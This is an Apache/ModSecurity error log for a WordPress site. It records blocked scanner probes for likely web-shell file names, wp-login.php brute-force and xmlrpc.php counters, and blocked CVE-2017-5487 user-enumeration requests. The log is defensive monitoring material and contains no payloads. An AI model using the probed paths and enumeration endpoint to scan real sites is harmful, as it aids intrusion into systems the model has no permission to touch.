[Sat Apr 11 03:46:34.252542 2026] [:error] [pid 29614:tid 29738] [client 4.219.9.127:6199] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlTmjXuemvqAmnda9AIRAAAAIw"]
[Sat Apr 11 03:49:50.815865 2026] [:error] [pid 32076:tid 32163] [client 49.51.33.159:52790] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adlUXjmRTamLnxQisktHNwAAAFc"]
[Sat Apr 11 03:59:20.489960 2026] [:error] [pid 2721:tid 2729] [client 45.76.169.1:45208] [client 45.76.169.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.76.169.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adlWmDZWWL4OaRcuwkjHfwAAAAM"]
[Sat Apr 11 03:59:22.161197 2026] [:error] [pid 2721:tid 2744] [client 45.76.169.1:45208] [client 45.76.169.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.76.169.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adlWmjZWWL4OaRcuwkjHiAAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 05:04:14.334923 2026] [:error] [pid 33172:tid 33232] [client 74.248.145.185:35695] [client 74.248.145.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adllzjn2G0IJw5EZY9kc3QAAAE4"]
[Sat Apr 11 05:04:18.405449 2026] [:error] [pid 33172:tid 33231] [client 74.248.145.185:31111] [client 74.248.145.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adll0jn2G0IJw5EZY9kc7AAAAE0"]
[Sat Apr 11 05:04:20.634358 2026] [:error] [pid 33288:tid 33292] [client 74.248.145.185:21169] [client 74.248.145.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adll1GJmwJFFPEgRHfEMCAAAAMI"]
[Sat Apr 11 05:04:23.570924 2026] [:error] [pid 33172:tid 33233] [client 74.248.145.185:18409] [client 74.248.145.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adll1zn2G0IJw5EZY9kc9gAAAE8"]
[Sat Apr 11 05:16:47.078566 2026] [:error] [pid 15244:tid 15262] [client 180.110.203.108:33609] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adlov4kdEsz5NeAq8w3n1QAAARA"]
[Sat Apr 11 05:56:56.254495 2026] [:error] [pid 33172:tid 33234] [client 170.106.72.93:53068] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adlyKDn2G0IJw5EZY9k5AQAAAFA"]
[Sat Apr 11 06:12:29.509541 2026] [:error] [pid 15244:tid 15256] [client 155.133.132.66:34215] [client 155.133.132.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.132.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adl1zYkdEsz5NeAq8w0mbQAAAQo"]
[Sat Apr 11 06:12:31.292132 2026] [:error] [pid 15244:tid 15267] [client 155.133.132.66:34215] [client 155.133.132.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.132.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adl1z4kdEsz5NeAq8w0mdgAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 06:16:09.561467 2026] [:error] [pid 15244:tid 15260] [client 109.123.255.195:44594] [client 109.123.255.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.123.255.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adl2qYkdEsz5NeAq8w0rqgAAAQ4"]
[Sat Apr 11 06:52:12.447500 2026] [:error] [pid 33171:tid 33197] [client 86.97.51.190:54732] [client 86.97.51.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.97.51.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adl_HLoqTMlo30hcVw920gAAAAs"]
[Sat Apr 11 06:52:14.804850 2026] [:error] [pid 33173:tid 33269] [client 86.97.51.190:54770] [client 86.97.51.190] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adl_Hq8109xRDP2izWj66wAAAJg"]
[Sat Apr 11 06:52:22.692985 2026] [:error] [pid 33173:tid 33263] [client 86.97.51.190:54770] [client 86.97.51.190] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adl_Jq8109xRDP2izWj7CgAAAJI"]
[Sat Apr 11 07:40:30.892578 2026] [:error] [pid 33171:tid 33198] [client 186.22.17.80:62739] [client 186.22.17.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.22.17.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "admKbroqTMlo30hcVw-N-AAAAAw"]
[Sat Apr 11 07:46:48.910938 2026] [:error] [pid 33288:tid 33302] [client 186.22.17.80:18442] [client 186.22.17.80] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "admL6GJmwJFFPEgRHfGalwAAAMw"]
[Sat Apr 11 07:48:16.903008 2026] [:error] [pid 33173:tid 33267] [client 186.22.17.80:18467] [client 186.22.17.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.22.17.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "admMQK8109xRDP2izWgd6gAAAJY"]
[Sat Apr 11 07:49:45.143909 2026] [:error] [pid 33172:tid 33233] [client 186.22.17.80:18494] [client 186.22.17.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.22.17.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "admMmTn2G0IJw5EZY9l0fwAAAE8"]
[Sat Apr 11 07:51:21.578692 2026] [:error] [pid 15244:tid 15267] [client 186.22.17.80:18458] [client 186.22.17.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.22.17.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "admM-YkdEsz5NeAq8w2XogAAARU"]
[Sat Apr 11 07:52:55.107608 2026] [:error] [pid 33171:tid 33187] [client 186.22.17.80:18543] [client 186.22.17.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.22.17.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "admNV7oqTMlo30hcVw-ToAAAAAE"]
[Sat Apr 11 08:01:12.403522 2026] [:error] [pid 33288:tid 33313] [client 203.86.122.1:42448] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admPSGJmwJFFPEgRHfGjrwAAANc"]
[Sat Apr 11 08:01:14.148260 2026] [:error] [pid 33288:tid 33311] [client 203.86.122.1:42448] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admPSmJmwJFFPEgRHfGjtAAAANU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 08:36:49.777995 2026] [:error] [pid 15244:tid 15269] [client 109.123.255.195:51816] [client 109.123.255.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.123.255.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admXoYkdEsz5NeAq8w3EjgAAARc"]
[Sat Apr 11 08:36:51.471928 2026] [:error] [pid 15244:tid 15263] [client 109.123.255.195:51816] [client 109.123.255.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.123.255.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admXo4kdEsz5NeAq8w3EpwAAARE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 08:41:11.989868 2026] [proxy_fcgi:error] [pid 5279:tid 5348] [client 4.233.120.250:59963] AH01067: Failed to read FastCGI header
[Sat Apr 11 08:41:11.989923 2026] [proxy_fcgi:error] [pid 5279:tid 5348] (104)Connection reset by peer: [client 4.233.120.250:59963] AH01075: Error dispatching request to : 
[Sat Apr 11 08:41:17.547613 2026] [:error] [pid 5793:tid 5829] [client 4.233.120.250:59809] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "admYrcLXvguFrb7p0Zu5RgAAAAc"]
[Sat Apr 11 08:41:18.487262 2026] [:error] [pid 5949:tid 5958] [client 4.233.120.250:47310] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "admYrv28g0lvFuzWT5UarwAAAEY"]
[Sat Apr 11 08:41:19.272598 2026] [:error] [pid 5949:tid 5965] [client 4.233.120.250:49975] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "admYr_28g0lvFuzWT5UatgAAAE0"]
[Sat Apr 11 08:41:20.315017 2026] [:error] [pid 5795:tid 5905] [client 4.233.120.250:49908] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "admYsJgvRQRkGSWa6n_gSwAAANU"]
[Sat Apr 11 08:41:21.056983 2026] [:error] [pid 5794:tid 5871] [client 4.233.120.250:7083] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "admYsYjGQwKS4utx44NkLAAAAI8"]
[Sat Apr 11 08:41:21.914993 2026] [:error] [pid 5949:tid 5953] [client 4.233.120.250:36304] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "admYsf28g0lvFuzWT5UavQAAAEE"]
[Sat Apr 11 08:41:22.504757 2026] [:error] [pid 5793:tid 5824] [client 4.233.120.250:42647] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "admYssLXvguFrb7p0Zu5YQAAAAI"]
[Sat Apr 11 08:41:23.402957 2026] [:error] [pid 5949:tid 5967] [client 4.233.120.250:6422] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "admYs_28g0lvFuzWT5UayQAAAE8"]
[Sat Apr 11 08:41:24.197371 2026] [:error] [pid 5795:tid 5905] [client 4.233.120.250:39169] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "admYtJgvRQRkGSWa6n_gVAAAANU"]
[Sat Apr 11 08:41:24.847815 2026] [:error] [pid 5795:tid 5890] [client 4.233.120.250:47850] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "admYtJgvRQRkGSWa6n_gXAAAAMY"]
[Sat Apr 11 08:41:25.422343 2026] [:error] [pid 5795:tid 5898] [client 4.233.120.250:59908] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "admYtZgvRQRkGSWa6n_gYgAAAM4"]
[Sat Apr 11 08:41:25.984660 2026] [:error] [pid 5949:tid 5976] [client 4.233.120.250:59824] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "admYtf28g0lvFuzWT5UazQAAAFg"]
[Sat Apr 11 08:41:26.703031 2026] [:error] [pid 5949:tid 5957] [client 4.233.120.250:7058] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "admYtv28g0lvFuzWT5Ua0gAAAEU"]
[Sat Apr 11 08:41:27.250746 2026] [:error] [pid 5949:tid 5956] [client 4.233.120.250:44198] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "admYt_28g0lvFuzWT5Ua1gAAAEQ"]
[Sat Apr 11 08:41:27.860062 2026] [:error] [pid 5793:tid 5840] [client 4.233.120.250:36319] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "admYt8LXvguFrb7p0Zu5cgAAABI"]
[Sat Apr 11 08:41:28.498154 2026] [:error] [pid 5794:tid 5859] [client 4.233.120.250:59796] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "admYuIjGQwKS4utx44NkSwAAAIM"]
[Sat Apr 11 08:41:29.322227 2026] [:error] [pid 5795:tid 5896] [client 4.233.120.250:15482] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "admYuZgvRQRkGSWa6n_gbgAAAMw"]
[Sat Apr 11 08:41:29.950542 2026] [:error] [pid 5794:tid 5862] [client 4.233.120.250:44207] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "admYuYjGQwKS4utx44NkUwAAAIY"]
[Sat Apr 11 08:41:30.640462 2026] [:error] [pid 5949:tid 5956] [client 4.233.120.250:44194] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "admYuv28g0lvFuzWT5Ua4gAAAEQ"]
[Sat Apr 11 08:41:31.271109 2026] [:error] [pid 5795:tid 5898] [client 4.233.120.250:55096] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "admYu5gvRQRkGSWa6n_gdwAAAM4"]
[Sat Apr 11 08:41:31.918803 2026] [:error] [pid 5793:tid 5844] [client 4.233.120.250:59777] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "admYu8LXvguFrb7p0Zu5gQAAABY"]
[Sat Apr 11 08:41:33.244493 2026] [:error] [pid 5949:tid 5971] [client 4.233.120.250:60043] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "admYvf28g0lvFuzWT5Ua6gAAAFM"]
[Sat Apr 11 08:41:34.992745 2026] [:error] [pid 5794:tid 5874] [client 4.233.120.250:51894] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "admYvojGQwKS4utx44NkZgAAAJI"]
[Sat Apr 11 08:41:36.531476 2026] [:error] [pid 5949:tid 5955] [client 4.233.120.250:47353] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "admYwP28g0lvFuzWT5UbAAAAAEM"]
[Sat Apr 11 08:41:37.641825 2026] [:error] [pid 5949:tid 5961] [client 4.233.120.250:59833] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maul.php"] [unique_id "admYwf28g0lvFuzWT5UbBAAAAEk"]
[Sat Apr 11 08:41:38.549481 2026] [:error] [pid 5793:tid 5825] [client 4.233.120.250:40256] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maul.php"] [unique_id "admYwsLXvguFrb7p0Zu5kQAAAAM"]
[Sat Apr 11 08:41:39.355035 2026] [:error] [pid 5795:tid 5893] [client 4.233.120.250:47336] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maul.php"] [unique_id "admYw5gvRQRkGSWa6n_giwAAAMk"]
[Sat Apr 11 08:41:40.140068 2026] [:error] [pid 5794:tid 5878] [client 4.233.120.250:47297] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maul.php"] [unique_id "admYxIjGQwKS4utx44NkeAAAAJY"]
